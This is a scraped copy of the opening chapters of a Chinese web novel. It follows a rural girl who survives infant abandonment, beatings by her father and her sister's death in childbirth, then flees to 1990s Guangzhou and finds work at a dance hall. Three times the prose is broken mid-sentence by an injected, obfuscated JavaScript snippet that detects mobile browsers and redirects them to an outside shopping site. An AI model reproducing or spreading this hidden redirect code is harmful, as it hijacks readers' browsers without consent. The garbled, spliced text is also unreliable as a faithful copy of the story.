《她无法忍受》 1. 女人是天生的贱种 十二月的哈尔滨似被冻住了,满目都是白。 夜色沉沉,雾气氤氲。 杨青山快步穿梭在人群之中,来往的行人、络绎的车辆不断纵横交错,又各自回到自己的道路上。 她大半张脸捂在围巾里,只露出一双眼睛看路,眼中情绪极淡,似乎对周遭漠不关心。 这是她来哈尔滨的第十个年头,却仍然无法适应这里刺骨的寒冷。 拐了个弯就到了出租屋楼下,杨青山顿了顿,觉得有些不对劲。 她不动声色地微微偏过头去往后看,眼角余光似乎划过一道熟悉的身影,清瘦,无声。 杨青山微不可察地滞了脚步,随机又若无其事般平常地走过,只是身后那道身影一直跟着她,不远不近,不慌不忙,存在感不强却又让人无法忽视。 她的脚步逐渐紊乱,愈走愈快,快到要跑起来,直到那抹身影将她拥住。 “别走了。” 一道隐隐压抑着哭腔的嗓音在她颈侧响起,杨青山几乎要落下泪来。 她似乎听见他的声音——别走了,让我看得到你,让我抱得着你。 这一刻,她抬头望天,这里不是常年不见雪的广州,这里极寒,极冷,一年四季都要自己挨过。 生命给了她太多无法消融的大雪,而他是她灰白人生中永恒的春天。 她回身,与他相拥。 就这样吧,她想。 这一生太过冗长,我难舍与你分别,只想和你爱到大雪满弓刀,人间芳菲尽。 这一年,杨青山三十岁。 窝在温暖的椅背里,手里捧着一杯温热的牛奶,才惊觉那段岁月好像已过去许久了。 于是,她平和而又宁静地拿起笔,写下这个故事。 …… 一个大着肚子的女人带着一小袋干粮和一床棉被,悄悄从后门溜进了深山。 她早就看好了,这山里有个山洞,特别隐蔽,刚好能让她藏身。 她已经生了两个女儿了,这第三胎一定得是个男娃。 村里管得紧,自从显怀以来她就没敢出过门,对外说自己回了娘家。 可这眼见着就要生了,到时候嚎起来可瞒不住,还好她家那口子出了个主意,叫她跑来山上。 那袋干粮还没等吃完一半,肚子里的小家伙就等不住了,满天的风哭雪嚎盖住了女人的尖叫声,明明是大雪天,她却硬生生疼出了一身汗。 即便已经有过两次生产经验,可她仍觉得又闯了一回鬼门关。 刚出生的婴儿被冻得青紫,连哭也不大哭得出来,女人瘫软在铺盖上,用尽全身力气丢了件衣服盖在孩子身上。 天色渐暗,女人悠悠转醒,她恢复了些力气,赶紧撑着胳膊去看孩子的下半身。 又是个女的…… 女人嘴角的笑意凝在脸上,目光一瞬间变得凶狠,她伸手探向婴儿脆弱的喉颈,狠了狠心想用力,心理建设做了半晌,最后还是泄气般放了手。 她开始哭,拼命地哭,似乎流干了眼泪老天爷就会看在她可怜的份儿上赐她个男娃。 然而这是不现实的,现实是,她家那口子根本不愿意养三个没用的女娃,这个孩子根本就不该来这世上。 哭够了,她抹了眼泪,不顾身上的疼痛,当即收拾东西就要下山去。 那个孩子身下垫了件衣服,还在熟睡着,全然不知自己就要被母亲所抛弃。 女人最后回头看了眼,还是走了。 行至半路,风声更加呼啸,女人头上裹着头巾,却仍觉得头痛无比,脑袋似乎被人敲下枚钉子,“咚咚咚”,刺破她的头皮,割断她的筋膜,震碎她的颅骨。 一片雪花落在女人肩头,她愣愣看了眼,随即不要命地往回跑,风声在她耳边哀嚎,雨雪在她面上肆虐。 她一路跑回了山洞,喘着粗气抱起地上的孩子,皲裂的脸上一时看不出情绪。 她最终还是把那个孩子带回了家。 …… “青山?杨青山!快点起来,赶紧趁着早放羊去。” 杨青水坐在床沿边上穿袜子,见青山一动不动,当即来了火,对着她拱起的屁股就是一顿揍。 “起不起来,你起不起来!” 杨青山被打得惨叫连连,捂着屁股不情不愿地穿衣服。 家里没留她们的早饭,青山空着肚子去羊圈儿里牵羊。 她从出生起身体就一直不好,许是当年在山上被冻狠了的缘故,总是三天一小病,五天一大病,干不了一点儿活。 杨青水自然而然地把种地的事儿担在了自己身上,叫她去放羊。 其实放羊也累,但比起种地已经轻松多了,总不能真的一点儿活不干。 三只小羊羔怯怯地挤在一块儿,亮晶的大眼盯着她瞧,青山叹了口气,拿着竿子赶它们。 小羊们堆在山坡上吃草,青山看了看四周,见没什么人,便坐下来掏出口袋里的小书本看起来。 她今年十五岁,念完了初中家里就不叫她读了,家里六口人,四个孩子,要是都上学怎么养得起。 她至少念完了初中,青南和青水连小学都没能念完。 她也不是不甘心,她知道家里是个什么情况,供不起她读书,就算供得起,也没她的份儿,就是想着学来的东西不能丢,要是丢了,就真跟村子里的女人没什么两样了。 日头渐渐旺了,该带它们回家了。 青山猛一抬头,忽地慌了,她跌跌撞撞站起来往小羊羔那里跑去。 怎么就剩两只了,还有一只呢,还有一只呢…… 她心里急得快要哭出来,牵着小羊的手都在抖。 这些羊是当年青南出嫁时的彩礼,她十一岁就在帮家里干活,她上学时成绩很好,总是考第一名,就连校长都夸她。 可是即便是这样,妈还是给她办了退学,那天青南没哭,红着眼眶扛着锄头下地去了,那时她人还没锄头高。 知道自己要出嫁,她哭得稀里哗啦的,像是死了亲娘。被全校老师夸将来有大出息的杨青南,在十六岁这年流了无数眼泪把自己赔出去,只换来三只瘦弱的小羊羔。 青山牵着剩下的两只小羊漫山遍野地找,却始终不见踪迹。 她觉得自己的心也随着那只小羊不见了,那些羊是青南的一部分,她把青南的一部分弄丢了。 日头毒辣,晒得她眼睛都在流汗。 她浑浑噩噩回了家,把羊关在羊圈里,然后淘米,做饭,等着爸妈回来。 望不到头的无边恐惧将她吞噬殆尽,十五年的人生里,她无数次这么等待着,等待他们回来将她审判。 “吃吃吃,一天到晚除了吃你还会干什么?” 两根带了米粒儿的筷子劈头盖脸朝青山砸来,她不敢躲,任由那筷子砸在她脸上。 杨保国往地上啐了口浓痰,鼻子里哼出两道粗气来,“地里的活儿不会干,放羊也放不好,一天到晚病殃殃的,你就是个废物!要我说你妈当初就该把你冻死在山上,捡了个伥鬼回来添堵!” 青山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889054|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩着肩膀坐在灶边上,口中含着的稀粥还没咽下去。 看她这副不声不响只知道流泪的窝囊样儿,杨保国火气更甚,毫无预兆地踹了椅子,拽着她的衣领把她提了起来。 但却没有立即动手,而是转过头去对女人道:“把得宝带出去,别吓着孩子。” 杨得宝是他们后来生的孩子,只比青山小了一岁半。杨家盼了二十年,终于盼来这么一个宝贝。 见儿子出去了,杨保国阴翳的目光才恶狠狠看了过来,青山低下头,她很清楚接下来要发生什么。 一声狰狞的笑声在耳畔响起。 青山肩膀抖了一下,恨不得把头钻进地里,余光却不可避免地瞥到他抄起门边藤条的手。 她僵在原地,眼泪不受控制地大颗大颗落下,几滴汗珠顺着鬓发往下淌,长久以来的恐惧让她不知该如何动作,大脑一片空白。 凛冽的寒风呼啸着破开皮肉,卷起绮丽的血珠落在地上。 寸寸脊骨被打断,这种疼痛无处可宣泄,只好埋在她的身体里叫嚣。 青山被这叫嚣声吵得头晕目眩,反胃得几乎快要吐出来。 几近昏厥时,杨保国松了手。 他在打人上颇有些心得,既不会叫人太好受,也不会叫你死过去。 那根沾了血的藤条被他随手丢在地上,上头的血迹有新鲜未干涸的,也有陈旧得染了棕的。 青山半阖着眼,像条狗一样瘫在地上,视线与那根藤条平齐。 杨保国前脚刚出去,后脚杨得宝就迫不及待闯了进来。 他被养得极好,村里的孩子大多面黄肌瘦,只他红光满面白胖圆滚。 他像只公鸡一样得意洋洋昂着脑袋巡视了一圈,然后蹲下身来,眼里带着残忍的天真:“你又被打了吧?嘿嘿,活该,你们女人就是天生的贱种!你们活该!” 你们女人就是天生的贱种。 这句话青山从小听到大,不止杨家,整个村子都这么说,也许她不曾到过的外面的世界,也是这么说的。 天生的贱种。 轻飘飘的五个字,贯穿了所有女人的一生。 屋里人来人往,没人再看她一眼。 傍晚的时候,杨青水带着一身的泥从地里回来,把青山从地上拖到了床上。 青山脱了衣服,光着身子趴在床上,任由青水抹药。 “他又打你了?你怎么不还手?” 药膏是最便宜的那种,刺激的成分进入皮肤,痛得她直流眼泪,青山梗着脖子,牙齿嵌进了胳膊,声音轻得几乎听不见:“我不敢。” 青水不说话了,她也不敢。 在这个家里,父亲是天,弟弟是顶梁,而女人是废物,只能仰仗男人而活。 从出生起就被灌输的思想,这个村子里最浑然天成的规矩,叫她们没了反抗的勇气,在日复一日的谩骂殴打中渐渐习惯,恐惧刻在骨髓里,融入血肉中。 所有的女人都这样过,凭什么她们不同? 良久,青水又说话了:“大姐快生了,等你伤好了,咱们一起去看她和她的小宝宝。” 大姐嫁人已经有四年了,嫁过去的头一年就怀了孩子,生的是个女儿,婆家不满意,这才又怀了一胎。 让青南生个儿子吧。 青山暗暗祈祷着,生个儿子她就不用再生了。村里女人都这样,只有生了儿子,才算完成这牲畜一般的使命,才算是个完整的女人。 月朗星稀的夜,两个女孩抱在一起依偎着,期待新生的生命。 2. 杨青山的十五岁 后来青山如愿看到了小宝宝,却再也见不到她的大姐。 青南生产那天,她的伤还没好利索,青山拖着尚且泛疼的身体去看她。 她没生过孩子,受过最大的痛也就是被藤条抽。 但她觉得生孩子一定很痛,比藤条抽还痛。 她从没听到过青南那样凄厉的叫声,像一只被踩了尾巴的猫,刺耳,破碎。 青南一直是个安静的姑娘,她不爱说话,也不大笑,被爸妈打了也不哭,只是偶尔夜里疼得睡不着,她就起床站在窗口背书。 无数的夜里,青山都是伴着她的读书声睡着的。 惨叫声还在继续,大一些的青水其实也没经历过这样的场面,她呆呆地看着一盆又一盆从屋里端出来的血水,像是傻了。 终于,一声孩童的啼哭划破凝固的空气,只是她听不见思南叫了。 章家婆婆和章俊杰伸着脖子问里头:“是孙子不?” 里头传来接生婆犯难的声音:“是孙子……就是大人……没了。” 青山眼睁睁看着那对母子嘴角的笑容越来越大,越来越张扬,那极其残忍的声音回荡在她耳边:“太好了太好了!我老章家总算后继有人了,那女人死了就死了,哎呦我的宝贝孙子,奶奶抱……” 青山嗤笑一声,她已经感觉不到悲痛,或是难过,心底只觉得荒凉。 那女人——她的名字到死都没人愿意提。 在娘家,她的名字叫赔钱货,在婆家,她是那女人。 那个女人,是镇上最优秀最聪明的学生,是杨青水和杨青山的大姐,是她女儿的妈妈。 那个女人,她叫杨青南。 青南的死给了青山不小的冲击,这是她第一次真真切切地面临死亡,也是第一次深刻窥见了她的命运。 她预见了她的未来。 像青南那样,到年纪嫁人,然后生孩子,生儿子,最后死在产床上。 所有人都在欢呼一个男婴的诞生,无人关心一个女人的消逝。 人们庆祝她的死亡。 青山觉得自己浑身上下的每一个毛孔都在泛着寒意,都在诉说着不甘。她真的不甘。 她不要这样。 她不要这样! 她不要嫁人!她不要生孩子!她不要生到死! 她才十五岁! 十五岁该干什么? 她要读书!她要逃出大山!她要赚很多钱!她要改命! 所以她逃了。 她要逃出既定的命运,她要逃出山外山,她要去奔赴自己的人生。 离开的那天,只有青水为她送行。 漆黑的夜里,两个小女孩完成了这近乎神圣的送别仪式,她们看不清彼此的脸庞,只有紧紧相握的手感受到对方的存在。 青山掌心泛冷,她没出过远门,最多也只是到镇上赶集。她不知道要去哪儿,只知道她要逃,但能逃多远就只能看命了。 她捏捏青水的手掌,虎口处长了一层厚厚的茧子,青山的指甲无意识地扣着那层茧子,半晌才说:“青水,我走了。” 青水艰难地咽了口唾沫,不知道该说什么,索性皱着眉头凶她:“什么青水,叫姐。” 青山叫不出来。 从记事起她唯一叫过姐的人就是青南,她总固执地觉得,她跟青水应该是双胞胎才是,一个山一个水,山生来就是要保护水的。 青山鼻头一酸,泪水差点夺眶而出,她眨了几下眼皮,把眼泪憋回去,摇摆不定的心在此刻有了目标,她道:“青水,你放心,将来我带你过好日子,我肯定会有出息的,我去打工,赚了钱咱们一起去上学。” “说什么傻话……”青水笑了。 村里的夜晚没有灯,黑得伸手不见五指,她们虽然看不清彼此的脸,却清楚地知道对方也哭了。 青山松开她的手,干巴巴地承诺:“等我混好了,我肯定来接你,走了。” 她不再看青水,扛了肩上的布包就走。 转身之际,她听见青水低低叫了她一声:“妹!好好活着。” “……” 她擦掉眼泪没有回头,在通信落后的年代,她们都很清楚离别意味着什么。 青山毅然决然地离开了,从此,这个落后闭塞的小村庄里,只剩下水。 她一头钻进了黑暗里,不去想爸妈发现以后青水会受到怎样的毒打。 她太自私了。她想。 作为山,怎么可以丢下水,没有山的水不再是完整的水,没有水的山也不再是完整的山,她们都缺了一角。 沿着山路一直走,走到天蒙蒙亮,这时罩在青山身上的死气才堪堪散去。 这是她第一次,清晨起来不是为了去放羊,不是为了去插秧,不是为了去摘玉米,而是为了自己,为了未来。 她的步子迈得越来越大越来越大,她跑了起来,跑得越来越快,自由的风在她身边扑腾、欢跃,她几乎快要跳起来! 原先准备的干粮吃完了,青山也不怕,她能摘野果吃,有露水喝。她觉得,天大地大,哪里都能活。 翻越一座座吃人的大山,她终于来到了广州。 那是青山第一次见到和山里全然不同的风景,这里的山美,水美,这里的人鲜活,漂亮。这是一座有活人的城市! 这里遍地春风,朝气蓬勃,人们穿着时兴的衣服,烫着时髦的卷发,脚蹬小羊皮,手提牛皮包。 店铺张贴着火红的牌面,墙上写着各式标语,“教育决定人生,知识改变命运”,“求发展奔小康,促和谐树新风”,“积极参加革命运动,为革命锻炼身体”…… 青山砸吧砸吧嘴,久久地看着那些大字,不愧是城里人,说话都好听。 她喉间溢出一声兴奋得难以克制的尖叫,又哭又笑地喊:“我到广州啦!” 路过的人跟看疯子一样看她,她毫不在意,此刻她就是个疯子。 然而青山并没有高兴太久。 九十年代,城市飞速发展,遍地都是机遇,但青山只有十五岁,一没技能,二没文凭,命运不会眷顾一个发育不良的豆芽菜。 广州厂多,到处都在招工,到处都有外乡人,青山学着他们的样子,在厂门口等着,她不知道要等什么,但他们都是来打工的,跟着他们总没错的。 她坐在板凳上,瘦弱的身子缩在人堆里,小小一个也不起眼。一个热心肠的大姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889055|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了看她,把屁股挪过去点腾出位置,让她挤得不那么难受。 她问青山:“闺女,你也来打工?” “嗯。”青山不擅长和陌生人交谈,她有些局促。 女人也不在意,自顾自感叹:“还得是广州啊,大城市,都说想发财来广东,没想到我还真来对了——诶你咋看着那么小呢?到年纪了没有?” 青山实话实说:“不小了,我十五了,在我们村里,十二岁就该干活了。” “哎呦。”那大姐一拍大腿,诧异地看着她,“你这没到年纪呢,这是大城市,工厂招工都不要小孩的,你白来了。” “嗯?”青山很奇怪,她已经不是小孩了,虽然还没到嫁人的年纪,但早就过了干活的年纪了,她问大姐,“到年纪是到什么年纪?” “就是到十八。”大姐把一头长发扎起来,露出黝黑的额头,“十八才算成年人,你还太小呢,回吧。” 厂里的人又叫了一批进去,青山还想问什么,但大姐也进去了,她想了想,趁乱猫着腰跟了进去。 领头的把他们带到一个房间里,叫他们填表格,青山握着笔,思忖了半晌,在年龄那一栏写了个“18”。 把表交上去后,又是难熬的等待,他们被一个一个带去了别的房间,青山在队伍最末尾,所有人都出去完了,才来人喊她:“杨青山?杨青山是哪个?” “我、我是杨青山!”青山抱着包站起来,举手大声应道。 “你?”那人的目光在青山身上怀疑地扫视了几圈,最后还是摆手让她过去,“跟我来吧。” 男人带着青山去了对面的房间,里头只有一个女人坐着,青山在她对面坐下。 女人皱着眉头打量了青山半晌,问:“你满十八了?” 青山犹豫了下,还是点头:“……嗯。” “身份证带了吗?” “什么身份证?”青山愣了下,迟疑地摇了摇头。 女人的语气变得有些急躁:“是没带啊还是没有啊?” 一种无所遁形的自卑感将她包围,她低下头,只觉得脸上火辣辣的,像被人甩了一巴掌,她不知道打工需要满十八岁,也不知道还得要身份证这种东西,在她们那里,打工只需要跟老板打声招呼就行。 青山听到自己细若蚊蝇般的声音:“没、没有。” “什么?”那女人的嗓门骤然提高了,“你没有身份证?那你不就是黑户吗?现在还有谁没办身份证啊,都响应国家号召呢,你这丫头思想怎么这么不积极呢?” 那女人还要再说,青山却突然提起地上的背包猛地冲了出去,她觉得难堪,她觉得窒息,在别人眼里是常识的一件事,在她这里却是从来没听说过。 没有人说过要给她办身份证,家里的青南和青水也从来没办过身份证,她们没有在这个世界生活过的痕迹,偷偷地来,偷偷地走,谁也不知道。 她生长在山沟沟里,即便逃出来,身上也带着洗不掉的穷酸味,带着穷人的劣根,思想落后,眼界短浅,自卑怯弱,迫切渴望融入大城市,迫切渴望洗掉自己身上的脏污,一个生来就在烂泥里的人,却还留着一点可笑的自尊,这就是杨青山的十五岁。 3. 飞扬舞厅 厚着脸皮在广州睡了三天桥洞,青山终于承认,这个城市不欢迎她这样的外乡人。 她面试了无数家厂子,无一例外都要满十八岁,她去饭馆,饭馆也不愿意要一个黑户,她去发廊,发廊的姐姐只一眼就把她赶了出来。 青山拖着行李自暴自弃地想,要不还是回去吧,左右就是被打一顿的事儿,总比没饭吃来得好。 无人的夜里,青山坐在桥洞下,看着金灿灿的水波粼粼,她想,回去吧。 她伸手去捞水里头的金光,却只捞起来满目的红。 是血。 她像被烫到了,猛地甩开手上的水,抱着自己的膝盖发抖,不知是冷的还是怕的。 她不可抑制地想起青南走的那天,带着恶臭的血水端出来一盆又一盆,一盆又一盆,从最开始的淡粉色到最后令人作呕的棕褐色,从女人的嚎叫到婴儿的哭啼,从苍老的笑声到稚嫩的眼泪。 青山只是闭上眼睛,这一幕幕就蛮横且不讲理地闯入她的脑袋。 我死也不回去。青山咬牙。 偶然的机会,这个鲜有人烟的小桥洞下来了个醉醺醺的酒鬼。 青山捡了烂菜叶回来,远远便见一个人躺在她的破烂纸板上,那是她临时给自己搭的床。 她走上去碰了碰那个女人:“你、你醒了吗?这是我的床。” 女人不耐烦地挥手,带起一阵酒气。 青山被呛得直咳嗽,她有些惆怅,这纸板是她翻了好几天的垃圾堆找到的,被这女人占了,她就没地儿睡了。 女人呼呼大睡,丝毫不在意这是哪儿。青山无奈地叹了口气,怕她冻死,只好将自己唯一的一床被子盖在她身上——那或许不算是被子,只是一些碎布拼凑而成的。 这女人穿了件火红的羊绒大衣,摸上去又软又滑,也不知道会不会把衣服睡坏。 青山有些累了,她在外头跑了一天,只吃了半个馊馒头。女人身上香香的,像栀子花的味道,青山想了想,窝在她身边睡下了。 这一夜青山睡得很不踏实,女人睡觉不老实,老压着她胳膊,青山把她推过去,她又滚回来,折腾了一夜,天蒙蒙亮时青山才迷迷糊糊睡着了。 她醒来时身边没人,青山摸着纸板上的冰凉猛地惊醒,一头卧起正撞上一双探究的眼睛。 昨天那个女人也不知道醒了多久,正蹲在地上歪着头看她。 她被眼前骤然放大的脸吓了一跳,慌乱起身时后脑勺磕到了石板上,几乎是刹那间眼泪便跟着落了下来。 ”诶,不是……”女人对上她泪汪汪的双眼,一时有些发愣。蓦地,她伸手摁住青山磕起包的脑袋,轻缓地揉着。 青山不动了,呆呆地看着她,眼眶比方才更酸涩,眼泪落得更凶。 她像青南,她的手也像青南。 “你、你别哭啊。”女人显然很不知所措,乱了手脚,不知是该先替她擦眼泪,还是先给她揉脑袋。 “你是谁?你为什么抢我的床?” 青山打了个哭嗝,隔着一层水幕模糊地瞅她,用恼怒来掩饰自己。 “这是你的床啊?”女人手指了指那张破纸板,有些不好意思,“我还以为我身边窝了个小乞丐呢,原来是你家啊,不好意思了。” “诶,那你爸妈呢?就你自己住这儿?他们不要你啦?” 青山心想这人可真不会说话,哪儿是他们不要她了,明明是她不要他们了。但嘴上还是乖乖回答,“我是从家里逃出来的,想在这里找工作养活自己,但是我年纪太小了,没人要我。” 她低顺着眉眼捂着肚子,有些可怜,“我没钱,已经好几天没吃饭了,晚上也冷,昨天还把被子给你盖了,不过没事,我皮糙肉厚的,吹点冷风没什么。” “啊……” 青山罕见地在别人脸上看见这种表情,似是愧疚,又是无措,很少会有人对女孩露出这样的表情,只是她脸上糊了很厚一层妆,青山看不大分明。 “那……”女人开口了,“要不你跟我走吧?” “真的?” “真的啊。” 青山急忙道谢,眼角露出一丝得逞的笑意。 她也没问去哪儿,这女人不像坏人,青山莫名很信任她,屁颠屁颠收拾东西就跟她走了。 到了地方她才知道,女人叫孟琳,开了家舞厅,舞厅里男人多,少不了要喝酒的时候,所以她经常喝得醉醺醺的。 孟琳在她家里收拾了个床铺出来,她一个人住,现在多一个人也还算宽敞。又嫌弃地看了眼青山的破烂儿,毫不客气地伸出两根手指捻起丢到一旁:“不要了,姐再给你买。” “不行。”青山执拗地把背包捡回来,包里的衣裳一半都是偷的青水的,青水很宝贝这些衣裳,平时连碰都不叫她碰,要是知道她给弄丢了,她非死在青水手里不可。 “呦,那么宝贝呢。”孟琳瞧着稀奇,也没多问,拍了拍手道,“行了,你住这儿吧,我那舞厅白天不开门,晚上十一点过后呢你就帮我去打扫打扫卫生,别来太早啊,干完活就赶紧回来睡觉,工资给你五块钱一个月,怎么样,够义气吧?” “行。”青山没多犹豫,很痛快地答应了。只是后来她才知道,五块钱一个月,是很低很低的工资,孟琳明摆着就是看她年纪小占她便宜。 但对青山来说,孟琳无异于救命恩人。 孟琳那舞厅晚上七点才营业,凌晨两点关门。广州的夜晚仍旧热闹非凡,即便再晚也有路灯,高高挂着像一个一个小月亮,莹莹照着城市的每一个人。 青山看了眼手里的小纸条,对照着门牌上的“飞扬舞厅”四个字,应该就是这儿了。 她推门进去,还没来得及抬眼,鼻尖便轰然被一堵不大结实的肉墙撞上,青山鼻尖一酸,眼前发晕。 “呦,小妹妹,不好意思啊,姐姐撞着你了。”一道明朗清亮的嗓音在她耳畔响起,青山睁开眼,一张美得夺目的脸庞映入眼帘,她不自觉屏住了呼吸,怔怔盯着她瞧。 “嗯?”女人失笑,“不会撞傻了吧?” “江妍,干嘛呢?别挡着我妹子。”孟琳从身后把那女人拉开,牵过青山的手将人带了进来,伸手往里头一指,“喏,看着那男的没?” 青山顺着她手指的地方看过去,一个年纪不大的男生正站在前台低头削水果,她点头,“看见了。” 舞厅里的音乐声炸耳,孟琳拍拍青山的屁股,提高嗓门道:“找他去,问他要活儿干。” “行……”青山捏捏掌心,慢腾腾挪到了那男生身边,还没等措辞好语言,那男生先发现了她,“是孟姐带来的小妹妹?你进来吧。” 他推开桌子下的小木板,让青山弯腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889056|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻进来。 青山迟疑地问:“你认识我?” “当然了。”男生笑眼弯弯,“哪个小姑娘会大晚上的来舞厅,只有你了。” “哦。”青山局促地笑笑,她不太习惯和男孩走得那么近,在老家是要被嚼舌根的。 男生似乎看出了青山的不安,主动让了让身子,递给她个板凳,“这会儿没什么要帮忙的,你坐吧,我叫阿让,你叫什么?” “青山,杨青山。” “哦……你跟孟姐是怎么认识的?” 青山搓搓手,面上有些羞赧,“我……我在桥洞底下,然后她、她喝醉了,占了我的地方。” “是吗。”阿让若有所思,低声嘟囔了句,“她老毛病又犯了啊。” 青山耳力好,随口问了句,“什么老毛病?” 阿让削水果的动作顿了顿,也许是为了和青山拉进距离,他也没什么顾忌,索性都说了,“孟姐是贵州来的,当年跟她之前一个小男朋友私奔出来,来了广州,俩人本来都在电子厂里打工,后来那男的跟厂里的经理好上了,俩人就分了。” 他边说边给切好的水果摆盘,“分了之后孟姐就拿着自己的积蓄开了这个舞厅,表面看着挺潇洒的,不过我觉着她没走出来。” “为啥?”青山忍不住靠近了一点,好奇地抬头问他。 “她呀,一喝醉酒就上街上撒泼,走哪儿睡哪儿,好几回差点被人捡了尸,还好路过的人见了,救了她一命,这老毛病好些年都没犯了,以为她好了呢,谁知道最近又起来了。” “我听江妍说——哦就是孟姐朋友,孟姐跟那男的吧,在老家的时候是邻居,感情从小就好着呢,就是两家都穷,孟姐长得漂亮吧?她爸就给她许了户人家,那家男的有钱,就是爱喝醉酒打老婆,好几个都给他打残了,残了之后他就不要人家了,另外再娶,那男的比孟姐大一轮还多呢,孟姐不愿意,她前男友就带着人跑了。” “最近吧,可能是因为她前男友要结婚了,还给她送了喜糖过来,也不知道安的什么心,孟姐心里难受着呢,十多年的感情啊,哎……” 他少年老成似的叹气,摇了摇头要把果盘送出去,青山起身急忙道:“我去送吧。” “你坐着。”阿让摆手不叫她去,自己去送了果盘。青山捏捏衣角,有些沮丧地垂下脑袋,想了想索性动手将台面上的果皮都清理干净。 阿让回来擦了擦手,跟她解释:“你年纪还小呢,很多事不懂,这来舞厅的客人吧,也不全是好人,刚才那桌的,就是个老色鬼,仗着自己有点小钱,到处撩拨姑娘,这舞厅的姑娘都快被他撩拨遍了,你这种年纪小的,还不得被他欺负死,以后就待在前台,少出去,有什么事儿就喊我,昂。” “好。”青山无措地摸了下才到肩膀的发尾,原地踱了几步,这才坐下。 她想她是喜欢广州的,这里人好,哪怕是素不相识的大姐也会告诉她,年纪不够工厂不要人,她只是给一个酒鬼盖上被子,酒鬼就把她捡回家给她口饭吃,还有阿让,明明他们今天第一次见面,他就掏心掏肺说这么多。 青山眉眼舒展,低着头掩饰嘴角的笑意。 正想着,两人桌台上忽地震了一下,似有重物落下,青山还未抬头,眼前便被阴影笼罩,一阵清列的嗓音传来,几乎在她耳边道:“今天的酒水。” 4. 这叫可乐 青山冲那阴影看去,是个很高的男生,看上去年纪和阿让差不多,对上她的视线,那男生似乎怔愣了片刻,继而迅速移开目光,食指揉了揉鼻尖。 ”哎呦喂,您老轻着点儿。”阿让咋咋呼呼地接过那纸箱放在地上,看了眼青山,“没看我这儿多了个小姑娘吗,你再吓着人家。” “我没……”青山慌忙摆手表示不用在意自己,话还没说完,面前男生顿了顿,从一旁架子上拿了瓶饮料放在青山面前,“请你喝。” 青山看着眼前咕嘟冒气儿的玻璃瓶没动,阿让倒是稀奇地看了眼那人:“可以啊高扬,铁公鸡今天拔毛了,还是我们家妹妹面子大。” 他边说着边替青山开瓶盖,放了根吸管进去递给她:“别客气,咱高哥请客。” 阿让没再管青山,斜靠在墙上跟高扬侃大山:“我说高哥,你刚也吓着我了,怎么不请我喝?” “滚。”高扬神色清冷,骂了他一句。 阿让也不恼,抖着肩膀低低笑着。 “走了,奶奶一个人在家,我不放心。” “行。”阿让答应了句,“替我向奶奶问好,就说她小孙子想她!” “滚。” 刚才那瓶饮料青山没敢喝,见人走了,又把饮料递了过去,“阿让哥,给你喝。” 阿让看着那瓶饮料陡然定住了,几秒之后,他又将那瓶饮料推了回去,嗓音发紧:“你喝吧,我不爱喝这甜不拉几的东西,刚跟他开玩笑呢。” “哦。”青山信以为真,就着吸管抿了一小口。 “唔……”只一口,她便皱起眉头捂着嘴巴,含糊不清地问,“这是什么饮料,好扎嘴。” 阿让在一旁支着胳膊懒懒地笑,很是开心,笑够了,他才说:“这叫可乐,扎你嘴的叫气泡,现在小孩都爱喝,你再品品。” 青山半信半疑又将吸管放到嘴边,小小吸了一口,片刻过后,她倏地睁大眼睛,细细感受舌尖的奇妙跃动。 阿让盯着青山瞧,没错过她脸上变化的神情,了然道:“怎么样,没骗你吧?” “真的。”青山舒服地眯起眼,手中玻璃瓶晃晃荡荡,在灯光折射下格外漂亮,“好神奇的东西,我从来没喝过。” “喜欢下回还叫他请你,咱们这儿的酒水饮料都是从他那儿进的,他有个小超市,下回带你去玩玩。” “那怎么行,人家还得做生意呢。” “这有什么。”阿让有些累了,摸着后脖颈趴在桌上,“这玩意儿进价要不了多少钱,请你还是请得起的。” 青山还想说,即便这东西不贵,也不是她可以随便喝的理由,那是别人的东西,别人是没有义务对她好的,可是阿让似乎很累了,趴在桌上没一会儿就睡着了,她张了张嘴,什么都没说,拿过架子上的小毯子给他盖上了。 十二点之后,舞厅才陆陆续续走了些人,也没之前那么吵闹了,音乐声小了,客人大多也坐下来喝酒聊天了。 青山跟着阿让过去收拾残局,狂欢过后,只剩下满地的酒瓶子。 阿让把酒瓶子都堆在筐里,叮嘱青山:“酒瓶子别扔啊,还得给高扬还回去呢。” “哦,好。”青山学着阿让的样子捡酒瓶,扫地,拖地。 除此之外也没什么需要她做的了,阿让解开腰间的围裙,要把青山送回家,青山连连摆手,“不用了阿让哥,我自己回去就行,离得也不远。” “那怎么行。”阿让穿了外套就要跟出去,“哪有让女孩子一个人半夜回家的道理,这会儿不忙,我我送完你回来也来得及。” 青山拗不过他,也没再坚持。 同阿让告别,青山独自进了屋,将自己摔在床上。 